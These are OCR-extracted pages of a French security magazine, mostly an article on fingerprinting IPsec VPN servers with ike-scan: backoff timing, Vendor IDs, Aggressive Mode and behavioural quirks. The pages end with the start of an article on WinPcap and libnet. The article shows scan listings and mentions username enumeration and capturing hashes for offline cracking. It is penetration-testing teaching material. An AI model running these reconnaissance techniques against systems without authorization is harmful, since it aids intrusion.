le logiciel client VPN approprié et d'essayer de deviner les logins et les mots de passe. Le serveur VPN sert souvent de pare-feu. Dans ce cas, la prise d'empreintes identifiera également le type du pare-feu. Une seule technique de prise d'empreintes suffit souvent pour identifier une implémentation du serveur VPN. Cependant, lorsque vous ne pouvez obtenir une correspondance définitive avec aucune technique, la combinaison des méthodes vous fournira en général assez d'informations pour déterminer l'implémentation ou au moins, faire une bonne supposition.

•

--retry – spécifie le nombre maximal de tentatives envoyées à un hôte qui ne

réagit pas. Par défaut, le nombre s'élève à trois mais vous pouvez le réduire à un, à moins qu'un paquet se soit perdu entre vous et la cible. Si vous le réduisez, le scan sera plus rapide mais moins évident, --interval – spécifie l'intervalle en millisecondes entre les paquets partis. Cet intervalle est par défaut de 75 ms. Ce chiffre correspond à la consommation de la bande passante partant de 38800 bits par seconde pour un paquet dont la taille par défaut est de 364 octets. Il vous est possible de le diminuer afin d'accélérer le balayage si vous disposez d'une bande passante suffisante. Il vous est également possible de l'augmenter afin de rendre le balayage plus furtif. N'oubliez pas que la taille du paquet peut changer en fonction d'autres options. Vous devez donc le prendre en considération quand vous calculez la consommation de la bande passante pour un intervalle donné, --random – randomise l'ordre dans lequel les cibles sont scannées.

Il existe de nombreuses autres options ; pour obtenir une liste complète, il suffit de lancer ike-scan --help.

www.hakin9.org

Détection des VPN

Pour obtenir alors un message de handshake, il est nécessaire d'essayer toutes les combinaisons des attributs de transformations jusqu'à ce que vous trouviez celui qui est acceptable. Le processus est le même que celui utilisé lors de l'étape de la détection, pour détecter les systèmes VPN qui ne répondaient pas au bloc de transform standard. La seule différence consiste au fait que vous traitez un nombre plus restreint de systèmes et que vous pouvez pourtant essayer plus d'attributs. Une fois un message de prise de contact IKE reçu, vous utiliserez la transformation acceptable lors des prochains scans. À titre d'exemple, si la charge de SA retournée était la suivante : SA=(Enc=AES KeyLength=256

Hash=SHA1

Figure 3. Échange ordinaire de paquets IKE en Mode Principal

Group=5:

modp1536 Auth=PSK LifeType=Seconds LifeDuration=28800),

vous spécifierez alors --trans=7/256,2,1,5.

Fingerprinting de backoff de UDP

IKE se sert du transport UDP qui n'est pas fiable. Il doit toutefois implémenter sa propre stratégie de retransmission pour s'occuper des paquets perdus. Puisque les RFC de IPsec ne spécifient pas les détails de la stratégie de backoff, tous les distributeurs IPsec inventent en général leurs propres schémas. Vous pouvez vous servir de différentes stratégies de backoff pour effectuer la prise d'empreintes d'un serveur VPN. Pour obtenir les détails sur la forme du backoff, vous envoyez un paquet IKE avec une transformation acceptable mais ne répondez à aucune des réponses du serveur VPN. Le serveur considérera que le paquet s'était perdu et ressayera suivant sa stratégie de backoff. En enregistrant l'heure d'arrivée de chaque paquet en provenance du serveur et en calculant la différence entre les heures, vous pouvez déterminer la stratégie de backoff et par conséquent l'empreinte du serveur. La Figure 3 présente l'échange ordinaire de paquets de IKE en Mode Principal entre un client VPN et un serveur VPN. La Figure 4 montre l'échange de paquets lorsque le client ignore

Figure 4. Retransmission IKE lorsque le client ne répond pas les réponses du serveur. Vous pouvez constater que le temps de latence de la connexion entre le client et le serveur n'a pas d'impact sur la forme de backoff observée par le client car vous calculez les différences entre le temps des paquets. Ike-scan permet d'obtenir la forme du backoff du serveur VPN. Il essayera également de faire correspondre les motifs reçus avec une base de données des motifs connus. Pour procéder à la technique de fingerprinting de backoff, il est nécessaire de spécifier l'option –-showbackoff. Cette option permettra à ike-scan d'enregistrer les temps de tous les paquets de réponses et d'attendre soixante secondes après le dernier paquet pour s'assurer qu'il les ait tous vus. Ensuite, il affiche les détails des temps et essaye de faire correspondre les formes. Il est en effet nécessaire d'attendre que tous les paquets soient envoyés et d'attendre quelques minutes supplémentaires pour être sûr qu'aucun autre paquet n'arrive. Le fingerprinting de backoff prend entre une et deux minutes. Le Listing 3 présente la technique d'empreinte de backoff sur quatre différents types de serveur VPN. Voici ce que signifient les colonnes dans les formes de backoff :

www.hakin9.org

•

•

•

•

– l'adresse IP du serveur VPN à laquelle correspond la forme, No. – le numéro du paquet de réponse de l'hôte et le premier paquet de réponse qui porte le numéro 1, Recv time – l'heure où le paquet de réponse est reçu ; cette heure s'affiche sous forme des secondes et microsecondes depuis minuit, le 1er janvier 1970 (utilisée par les systèmes *NIX), Delta Time – la différence entre le moment où ce paquet de réponse a été reçu et le moment où le paquet précédent de réponse a été reçu (cette différence s'élève toujours à zéro pour le premier paquet de réponse) ; la différence s'affiche en secondes et microsecondes. IP Address

Vous pouvez constater que tous les quatre serveurs ont répondu avec une syntaxe différentes à chaque fois, et dans chaque cas, vous avez été capables de déterminer le type du serveur VPN. Vous avez du également remarquer que certains des serveurs ont répondu avec des payload VID supplémentaires : il s'agit des payload de Vendor ID (ils seront analysés dans la suite de cet article).

hakin9 Nº 6/2005

51

Fiche technique

Listing 3. Exemples de fingerprinting de backoff en UDP $ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.1 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK § Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) IKE Backoff Patterns: IP Address No. Recv time Delta Time 10.0.0.1 1 1121251508.773117 0.000000 10.0.0.1 2 1121251510.772474 1.999357 10.0.0.1 3 1121251512.775259 2.002785 10.0.0.1 4 1121251514.777952 2.002693 10.0.0.1 5 1121251516.780746 2.002794 10.0.0.1 6 1121251518.783504 2.002758 10.0.0.1 7 1121251520.786298 2.002794 10.0.0.1 8 1121251524.791781 4.005483 10.0.0.1 9 1121251528.797329 4.005548 10.0.0.1 10 1121251532.802822 4.005493 10.0.0.1 11 1121251536.808370 4.005548 10.0.0.1 12 1121251540.813874 4.005504 10.0.0.1 Implementation guess: Firewall-1 4.1/NG/NGX $ ike-scan --trans=5,1,1,2 --showbackoff 10.0.0.2 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.2 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5 § Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) § VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 10.0.0.2 1 1121252105.954742 0.000000 10.0.0.2 2 1121252113.946698 7.991956 10.0.0.2 3 1121252121.944037 7.997339 10.0.0.2 4 1121252129.945608 8.001571 10.0.0.2 Implementation guess: Cisco VPN Concentrator $ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.3 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.3 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK § Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) IKE Backoff Patterns: IP Address No. Recv time Delta Time 10.0.0.3 1 1121252226.796701 0.000000 10.0.0.3 2 1121252242.606684 15.809983 10.0.0.3 3 1121252258.419674 15.812990 10.0.0.3 4 1121252274.559528 16.139854 10.0.0.3 Implementation guess: Nortel Contivity $ ike-scan --trans=5,2,3,2 --showbackoff 10.0.0.4 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 § Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds § LifeDuration(4)=0x00007080) § VID=1e2b516905991c7d7c96fcbfb587e46100000004 § (Windows-2003-or-XP-SP2) § VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) § VID=90cb80913ebb696e086381b5ec427b1f § (draft-ietf-ipsec-nat-t-ike-02\n) IKE Backoff Patterns: IP Address No. Recv time Delta Time 10.0.0.4 1 1121252667.865074 0.000000 10.0.0.4 2 1121252668.971457 1.106383 10.0.0.4 3 1121252670.973030 2.001573 10.0.0.4 4 1121252674.972099 3.999069 10.0.0.4 5 1121252682.966370 7.994271 10.0.0.4 6 1121252698.968920 16.002550 10.0.0.4 7 1121252730.975145 32.006225 10.0.0.4 Implementation guess: Windows 2000, 2003 or XP

52

hakin9 Nº 6/2005

www.hakin9.org

Les durées observées peuvent être différentes d'une fraction de seconde que les valeurs utilisées dans l'algorithme de backoff à cause des différentes durées d'attentes, des retards programmés sur le serveur et d'autres questions. Pourtant, si vous arrondissez les retards observés à la seconde près, vous pouvez remarquer que les quatre formes sont les suivants : • • • •

Checkpoint Firewall-1 – 0, 2, 2, 2, 2, 2, 2, 4, 4, 4, 4, 4, Cisco VPN Concentrator – 0, 8, 8, 8, Nortel Contivity – 0, 16, 16, 16, Microsoft Windows – 0, 1, 2, 4, 8, 16, 32.

Pour voir d'autres exemples de formes de backoff, regardez le fichier ike-backoff-patterns inclus dans la distribution ike-scan. Actuellement, ce fichier contient vingt-quatre formes de backoff différentes.

Fingerprinting du Vendor ID

Le protocole IKE définit un payload facultatif de Vendor ID (VID) qui peut être inclus dans le paquet de la phase 1 de IKE et peut contenir des données arbitraires. Ce payload est utilisé par les fabricants pour échanger les détails sur les extensions de propriété ou pour réorganiser leurs propres implémentations. Les données dans le payload sont souvent des chaînes texte chiffrés via MD5. Vous pouvez vous servir de n'importe quelle charge de Vendor ID envoyée par le serveur VPN pour pouvoir l'identifier. Ike-scan affichera automatiquement toute charge de Vendor ID reçue et il essayera de les comparer avec une base de données des formes connues de Vendor ID. Il permet également aux charges de Vendor ID d'être ajoutées au paquet sortant à l'aide de l'option --vendor. Tous les serveurs VPN n'envoient pas de Vendor ID. Ceux qui le font ne les envoient qu'à la réception d'un Vendor ID spécifique ou qu'en mode agressif IKE (que nous allons analyser dans la suite de cet article). Si un serveur VPN n'envoie pas de Vendor ID et vous pensez savoir ce que c'est, cela

Détection des VPN

Listing 4. Charges de Vendor ID retournées par Windows 2003 $ ike-scan --trans=5,2,3,2 --multiline 10.0.0.4 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=RSA_Sig § LifeType=Seconds LifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000004 (Windows-2003-or-XP-SP2) VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) VID=90cb80913ebb696e086381b5ec427b1f § (draft-ietf-ipsec-nat-t-ike-02\n)

Listing 5. Charge de Vendor ID retournée par Checkpoint Firewall-1 Figure 5. Paquet de Mode Agressif IKE avec un bloc de transform par défaut vaut alors la peine de sniffer le trafic sortant de l'application client VPN associée à l'aide de tcpdump ou Ethereal pour observer tous les Vendor ID, Si vous envoyez ce Vendor ID au serveur, il répondra en général avec son propre Vendor ID. Le Listing 4 présente les payloades Vendor ID retournés par le serveur IPsec Microsoft Windows 2003. Le premier VID est le plus intéressant : c'est un hachage MD5 d'une chaîne MS NT5 ISAKMPOAKLEY avec le numéro quatre joint en tant que valeur 32 bits en format big-endian. Toutes les implémentations IPsec de Microsoft envoient le même hachage mais les différentes versions des fenêtres incluent des numéros différents à la fin du hachage. Cette démarche permet de limiter les possibilités de la version du logiciel. Voici les valeurs connues de ike-scan : • • •

– Windows 2000 Server, – Windows XP SP1, 00000004 – Windows 2003 Server et Windows XP SP2. 00000002

00000003

Le Listing 5 présente un Checkpoint Firewall-1. Ce serveur VPN retournera un payload Vendor ID seulement s'il envoie une charge VID contenant f4ed19e0c114eb516faaac0ee37daf280

; ce sont les vingt premiers octets du VID envoyé par tous les produits Checkpoint. Vous voyez que le serveur retourne un Vendor ID qui non seulement l'identifie comme 7b4381f

$ ike-scan --trans=5,2,1,2 \ --vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f \ --multiline 10.0.0.1 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 § LifeType=Seconds LifeDuration(4)=0x00007080) VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138§ c000000000000000018a00000 (Firewall-1 NG AI R54)

Listing 6. Charge de Vendor ID retournée par Nortel Contivity $ ike-scan --trans=5,2,1,2 --vendor=00 --multiline 10.0.0.3 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.3 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 § LifeType=Seconds LifeDuration(4)=0x00007080) VID=424e455300000009 (Nortel Contivity)

Listing 7. Réponse en Mode Agressif en provenance de Cisco VPN Concentrator $ ike-scan --aggressive --multiline --id=finance_group 10.0.0.2 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.2 Aggressive Mode Handshake returned SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK § LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(20 bytes) ID(Type=ID_IPV4_ADDR, Value=10.0.0.2) Hash(16 bytes) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) VID=1f07f70eaa6514d3b0fa96542a500306 (Cisco VPN Concentrator)

Checkpoint Firewall-1 (car le VID commence par les mêmes vingt octets) mais en plus, il identifie la version exacte du logiciel dans les vingt octets restants. Dans ce cas là, la cible se sert de Checkpoint Firewall1 NG AI R54. Reportez-vous au site Web http://www.nta-monitor.com/

www.hakin9.org

news /checkpoint2004 /index.htm pour plus de détails sur la structure de ce Vendor ID. Enfin, le Listing 6 présente la charge de Vendor ID retournée par le routeur VPN Nortel Contivity. Ce système retournera une charge VID seulement si elle est envoyée dans

hakin9 Nº 6/2005

53

Fiche technique

Tableau 6. Bloc de transform par défaut utilisé par ike-scan en Mode Agressif AlgoAlgorithme rithme de de hachage chiffrement

Méthode d'authentification

Groupe Diffie-Hellman

Durée (en secondes)

1

TripleDES

SHA1

Clé pré-partagée

2 (1024 bits)

28800

2

TripleDES

MD5

Clé pré-partagée

2 (1024 bits)

28800

3

DES

SHA1

Clé pré-partagée

2 (1024 bits)

28800

4

DES

MD5

Clé pré-partagée

2 (1024 bits)

28800

le paquet de requête. Toutefois, contrairement à Checkpoint, le type de Vendor ID donné importe peu à Nortel, vous envoyez donc un seul octet avec une valeur zéro. Le Vendor ID retourné comporte quatre octets qui sont une chaîne de texte BNES suivie du numéro neuf en tant qu'une valeur de 32 bits en format big-endian. BNES signifie probablement Bay Networks Enterprise Switch, correspondant au nom du produit avant que Bay Networks soit acheté par Nortel ; le numéro à la fin représente probablement la version du logiciel.

Mode agressif IKE Listing 8. Réponse en Mode Agressif en provenance du pare-feu de Cisco PIX $ ike-scan --trans=7/256,2,1,2 --aggressive --multiline 194.70.91.2 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 194.70.91.2 Aggressive Mode Handshake returned SA=(Enc=AES KeyLength=256 Hash=SHA1 Group=2:modp1024 Auth=PSK § LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=11f27f551d0760dfc9ca6f5670fe5291 KeyExchange(128 bytes) ID(Type=ID_FQDN, Value=pix520-internet.company.com) Nonce(20 bytes) Hash(20 bytes)

Listing 9. Réponses différentes concernant l'attribut relatif à la longueur de la clé avec des chiffres à longueur fixe $ ike-scan --trans=5/27,2,1,2 10.0.0.1 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 KeyLength=27 LifeType=Seconds § LifeDuration(4)=0x00007080)

§

$ ike-scan --trans=5/27,1,1,2 10.0.0.2 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) $ ike-scan --trans=5/27,2,1,2 10.0.0.3 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.3 Notify message 14 (NO-PROPOSAL-CHOSEN) $ ike-scan --trans=5/27,2,3,2 10.0.0.4 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 § Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds § LifeDuration(4)=0x00007080) § VID=1e2b516905991c7d7c96fcbfb587e46100000004 § (Windows-2003-or-XP-SP2) § VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) § VID=90cb80913ebb696e086381b5ec427b1f § (draft-ietf-ipsec-nat-t-ike-02\n)

54

hakin9 Nº 6/2005

www.hakin9.org

Dans tous les exemples, on s'est jusqu'à présent servi du Mode Principal IKE supporté en principe par tous les serveurs VPN. Certains serveurs VPN, en particulier les serveurs d'accès distant, supportent également le mode agressif. Si un serveur supporte ce mode, vous pouvez alors vous en servir pour obtenir des informations supplémentaires. Le Mode agressif est en général utilisé pour un accès distant avec une authentification par clé pré-partagée. La Figure 5 présente la structure du premier paquet du Mode agressif IKE. Vous pouvez constater qu'il est plus complexe que le paquet de Mode Principal montré dans la Figure 2 car il contient trois payloads supplémentaires : • •

•

– valeur publique de l'algorithme Diffie-Hellman, Nonce – données aléatoires pour démontrer la vivacité et la prévention de reproduction, Identification – identité du pair. Key Exchange

Puisque le paquet de Mode Agressif contient la valeur publique de l'algorithme Diffie-Hellman, seul un groupe Diffie-Hellman peut être spécifié dans la proposition. Par conséquent, le bloc de transform ike-scan standard est différent du bloc utilisé avec le Mode Agressif. Le Tableau 6 présente en détails les transformations dans un bloc de transformation standard du Mode Agressif.

Détection des VPN

Il est parfois difficile de faire en sorte qu'un serveur VPN envoie un message de prise de contact au moyen du Mode Agressif IKE. En effet, de nombreux serveurs ne répondront pas tant qu'un ID n'est pas fourni dans le payload d'identification. Cet ID est en général soit un login de l'utilisateur soit une adresse de messagerie électronique. En fait, seule la réponse aux ID valides introduit une vulnérabilité permettant de vérifier à distance l'existence d'un login (en anglais username enumeration vulnerability) car elle vous permet de distinguer les logins valides et non valides. Le Listing 7 présente une réponse en Mode Agressif en provenance de Cisco VPN Concentrator. Dans le cas de ce système, vous aurez besoin de spécifier un login valide dans l'identité de la charge. Vous remarquerez que la réponse contient plusieurs charges intéressantes : •

•

•

– le serveur se sert de son adresse IP dans la charge d'identité ; si le serveur se trouve derrière un périphérique NAT, cela va révéler son adresse réelle, Hash – c'est un hachage HMAC basé sur MD5 ; vous pouvez l'utiliser afin de procéder à une attaque hors ligne consistant à casser les mots de passe, VID – un total de cinq charges de Vendor ID est retourné, ce qui identifie le système comme étant un Cisco VPN Concentrator. ID

Le Listing 8 présente une réponse en Mode Agressif en provenance d'un pare-feu de Cisco PIX. Vous n'avez pas besoin de fournir un ID valide

Listing 10. Découvrir le nombre maximal des transformations analysées par Firewall-1 $ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 19 . § "--trans 5,2,1,2";'` 10.0.0.1 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK § Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) $ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 20 . § "--trans 5,2,1,2";'` 10.0.0.1 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Notify message 14 (NO-PROPOSAL-CHOSEN)

avec ce type de système. Il se sert de son nom d'hôte pour son ID et le nom choisi vous donne déjà l'idée du fabricant et du modèle du système. Si vous regardez attentivement, vous verrez que le VPN Concentrator place ses payload dans l'ordre différent dans le PIX : le VPN Concentrator envoie SA , Key Exchange, Nonce, ID, Hash , VID x 5, alors que PIX envoie SA , VID x 4, Key Exchange, ID, Nonce, Hash . Cette différence vous indique que même si les deux systèmes proviennent du même fabricant, ils se basent sur des implémentations différentes de IPsec.

Différences dans le comportement

Les différences dans le comportement des implémentations IPsec différentes avec les stratégies de backoff ainsi que l'ordre des charges dans le paquet IKE ont été déjà abordées. Cette partie présente quelques exemples des différences qui peuvent être utilisées pour détecter les implémentations IPsec. Certaines différences ne sont pas complètement définies ; en ce qui concerne les autres, les procédures RFC peuvent être interprétées de

Sur Internet • • • • •

http://www.nta-monitor.com/whitepapers/udp-backoff-whitepaper.pdf – livre blanc sur la technique de fingerprinting de backoff en UDP, http://www.nta-monitor.com/news/vpn-flaws/VPN-Flaws-Whitepaper.pdf – livre blanc détaillant plusieurs défauts courants de VPN IPsec, http://www.nta-monitor.com/ike-scan/index.htm – outil ike-scan, http://www.iana.org/assignments/ipsec-registry – numéros d'attributs de transformations IKE attribués par IANA, http://www.nta-monitor.com/news/checkpoint2004/index.htm – exemple de la technique de fingerprinting de Vendor ID Checkpoint.

www.hakin9.org

façons différentes et il y en aussi qui n'ont aucun sens.

Longueur de clé de chiffrement pour les chiffres avec les clés de longueur fixe

L'attribut de transformation relatif à la longueur de la clé est utilisé pour les algorithmes de chiffrement avec les clés de longueur variable, comme AES. Il ne faut pas l'utiliser dans les algorithmes de chiffrement avec les clés de longueur fixe, telles que DES et Triple-DES. D'après la procédure RFC 2409 : Il NE FAUT PAS utiliser cet attribut lorsque l'algorithme de chiffrement spécifié se sert d'une clé de longueur fixe. On considèr que les implémentations différentes gèrent cette situation de façons différentes : certaines rejettent la transformation, d'autres ignorent l'attribut relatif à la longueur de la clé et d'autres encore acceptent cet attribut. Le Listing 9 présente la réponse de trois systèmes différents concernant l'attribut relatif à la longueur de la clé, en spécifiant une valeur absurde de vingt sept avec un triple DES, qui se sert d'une clé à longueur fixe. Si vous l'observez attentivement, vous remarquerez les comportements suivants : •

• •

Checkpoint Firewall-1 – accepte la transformation et retourne la même longueur de la clé en réponse, Cisco VPN Concentrator – ne répond pas du tout, Nortel Contivity – répond par un message de notification No Proposal Chosen (aucune proposition n'a été sélectionnée),

hakin9 Nº 6/2005

55

Fiche technique

•

Windows 2003 – accepte la transformation mais ne retourne pas d'attribut relatif à la longueur de la clé.

Chiffrement d'attributs de longueur variable pour des valeurs minimes

Il existe deux types d'attributs de transformation : les attributs de base qui prennent une valeur de 16 bits et les attributs variables dont la valeur peut être de n'importe quelle taille. Une durée en secondes peut constituer un exemple d'un attribut variable. Ike-scan enverra toujours la durée en secondes en tant qu'un attribut variable mais le serveur le retourne parfois comme un attribut de base si la valeur entre dans le 16 bits. La procédure RFC 2409 l'autorise : Les attributs de longueur variable PEUVENT être chiffrés comme les attributs de base si leur valeur entre dans deux octets. Si un attribut de base est retourné, ike-scan affichera alors la valeur sous forme d'un nombre décimal, par exemple : LifeDuration=28800. Si c'est un attribut variable qui est retournée, ikescan affichera alors le nombre d'octets, suivi de la valeur sous forme d'un nombre hexadécimal, p. ex. LifeDura tion(4)=0x00007080. Si vous utilisez la durée de 28800 secondes par défaut, qui entre dans le 16 bits, vous remarquerez que Cisco VPN Concentrator et Cisco PIX retournent un attribut de base en ce qui concerne la durée mais Checkpoint Firewall-1, Nortel Contivity et Windows 2003 retournent un attribut de longueur variable.

Nombre maximal de transformations analysées

Le nombre des transformations qui peuvent se trouver dans une proposition SA n'est limité que par la taille maximale du datagramme IP qui s'élève à 64 Ko. Ceci permet donc d'effectuer environ 1800 transformations. Toutefois, la plupart des implémentations IPsec n'effectueront qu'un nombre restreint de transformations. Cette restriction dépend des implémentations mais en général, elle est plus petite qu'en théorie.

56

hakin9 Nº 6/2005

RFC 2409 autorise une restriction du nombre des transformations supportées ; d'après cette procédure : Il n'existe aucune restriction en ce qui concerne le nombre des propositions que l'initiateur peut envoyer à un serveur/répondeur mais les implémentations conformes PEUVENT choisir de limiter le nombre des propositions à analyser pour des raisons de performance. Pour déterminer le nombre maximal des transformations qu'une implémentation donnée analysera, vous envoyez un certain nombre des transformations inacceptables, suivi d'une transformation acceptable ; vous variez le nombre des transformations inacceptables pour trouver le point où le serveur VPN n'accepte plus la proposition. Puisque vous avez souvent besoin de générer des centaines de transformations, il est plus facile d'utiliser un simple script Perl pour générer les options ike-scan. À titre d'exemple, si vous savez que le serveur VPN acceptera une transformation avec des attributs Enc=3DES, Hash=SHA1, Auth=PSK, Group=2, et n'acceptera pas une transformation avec des attributs Enc=IDEA, Hash=Tiger, Auth=RSA_enc, Group=5, vous pouvez envoyer une proposition avec 99 transformations non valables, suivie d'une transformation valable au serveur VPN au 10.0.0.1 avec : ike-scan `perl -e 'print "--trans=2,3,4,5 "

x 99 . "--trans 5,2,1,2";'` 10.0.0.1.

Si le serveur VPN répond par un message de prise de contact (hands-

À propos de l'auteur

Roy Hills a fondé NTA Monitor Ltd, une société britannique chargé des tests de sécurité. Il est l'auteur de l'outil ike-scan, chargé d'examiner la sécurité IPsec. Il a également trouvé plusieurs vulnérabilités à l'aide de cet outil dans les produits en provenance de Checkpoint, Cisco, Nortel et Juniper.

hake), vous savez alors qu'il supporte au moins 100 transformations. À titre d'exemple, dans le cas de Checkpoint Firewall-1, il a été constaté qu'il analyse vingt transformations au maximum. Le Listing 10 présente les réponses du Firewall-1 : tout d'abord avec vingt transformations et ensuite, avec vingt-et-une transformations.

Conclusion

La technique de détection et de prise d'empreinte des VPN IPsec est très utile et devrait faire partie de tout test d'intrusion. Même s'il n'y a aucune vulnérabilité dans l'implémentation IPsec, la technique de fingerprinting peut fournir des informations utiles, par exemple : des détails sur le pare-feu, ce qui aidera dans les tests d'autres terrains. La complexité du protocole IPsec, et en particulier de IKE, justifie la présence des différences entre les implémentations. L'article a présenté seulement de quelques méthodes de fingerprinting possibles développées depuis plusieurs années. Sûrement de nombreuses méthodes restent encore à découvrir. l

Glossaire • •

•

•

VPN (Virtual Private Network) – permet aux réseaux locaux de communiquer via les réseaux publics, comme Internet, en général, à travers un canal chiffré, IPsec (Internet Protocol SECurity) – fonctions de sécurité (authentification et chiffrement) implémentées au niveau IP de la pile de protocoles. La majorité des implémentations VPN se servent de IPsec, IKE (Internet Key Exchange) – protocole utilisé par IPsec pour échanger de clés et authentifier les utilisateurs ou les périphériques aux deux bouts de VPN. IKE est défini dans la procédure RFC 2409, SA (Security Association) – canal de communication sécurisé. Les détails SA incluent les méthodes de chiffrement et d'authentification, les clés de chiffrement et les identificateurs de points d'extrémité. La charge SA dans un paquet IKE est utilisée pour négocier une association de sécurité (SA).

www.hakin9.org

Plein contrôle ou accès de bas niveau au réseau Programmation Konrad Malewski

Degré de difficulté

Il n'est pas facile d'écrire des applications exigeant l'accès à la plupart des couches ISO/OSI : il est parfois nécessaire de construire des paquets à envoyer de façon non standard. Une aide excellente sont les bibliothèques WinPcap et libnet – grâce à elles, l'utilisateur peut contrôler tous les paquets envoyés via le réseau.

C

hez moi, tout fonctionne bien – c'est la réponse la plus probable donnée par l'administrateur à l'utilisateur se plaignant de problèmes. En général, l'administrateur a raison, car c’est une faute de l'utilisateur qui ne suit ni indications ni conseils. Pourtant, ce bon administrateur peut se trouver un jour dans une situation identique – il est sûr d'avoir tout bien configuré conformément aux instructions, mais malgrè cela, quelque chose peut venir à mal fonctionner. Si la configuration est correct ainsi que les erreurs connues éliminées, il ne reste qu'à chercher plus profondément. L'identification des erreurs peut être effectuée à l'aide d’applications telles que Ethereal ou Analyzer, permettant d'intercepter, filtrer et identifier les paquets arrivant sur chaque ordinateur du réseau. Grâce à ces programmes, l'administrateur saura ce qui est actuellement envoyé à chaque station via le réseau, et il sera capable d'identifier la source des problèmes. Si le problème s'avère plus grave et exige d'être analysé plus profondément, il sera nécessaire d'écrire une application spécialement dédiée à celui-ci. Elle permettra de suivre le problème et de retrouver les dépendances entre les

58

hakin9 Nº 6/2005

données provenant de sources distantes. Il n'est pas facile d'écrire un tel programme, et l'un des principaux problèmes est le choix d'une bibliothèque d'accès au réseau appropriée, avec la prise en compte de la couche ISO/OSI sur laquelle elle opère. En fonction de l'ampleur du problème, le

Cet article explique... •

• •

•

comment intercepter tous paquets vus par la carte réseau et comment les filter à l'aide de mécanisme conforme à tcpdump, comment envoyer des trames Ethernet, comment construire un paquet réseau correct dans chacune des couches ISO/OSI à l'aide de la bibliothèque libnet et l'envoyer via n’importe quelle interface, comment écrire un sniffeur personnel pouvant intercepter des données traitées sur une machine distante.

Ce qu'il faut savoir... • • •

www.hakin9.org

connaître le modèle ISO/OSI, les notions de base sur le fonctionnement du réseau TCP/IP, la programmation en C/C++.

Accès de bas niveau au réseau

Figure 1. Les couches ISO/OSI et les protocoles correspondants Figure 3. La structure réseau du système Windows

Figure 2. Les protocoles disponibles dans libnet programme aura besoin, par exemple, d'accéder à la couche de liaison de données, il se peut qu'il nécessitera d'opérer directement sur les trames ethernet. En d'autres cas, il suffit d'utiliser une bibliothèque de niveau d'abstraction élevé fonctionnant sur la couche de transport.

L'essentiel c'est une bonne bibliothèque

L'utilisation d'une interface réseau de haut niveau a beaucoup d'avantages. L'un d'eux est la simplicité d'emploi et l'universalité des mécanismes d'envoi de données. Après quelques temps, l'administrateur constatera qu'une API de haut niveau ne lui donne pas le plein contrôle sur les données envoyées, sans pour autant parler de l'écoute ou de l'analyse des trames réseau brutes. Le problème du contrôle des données envoyées peut être résolut de plusieurs manières. La plus sim-

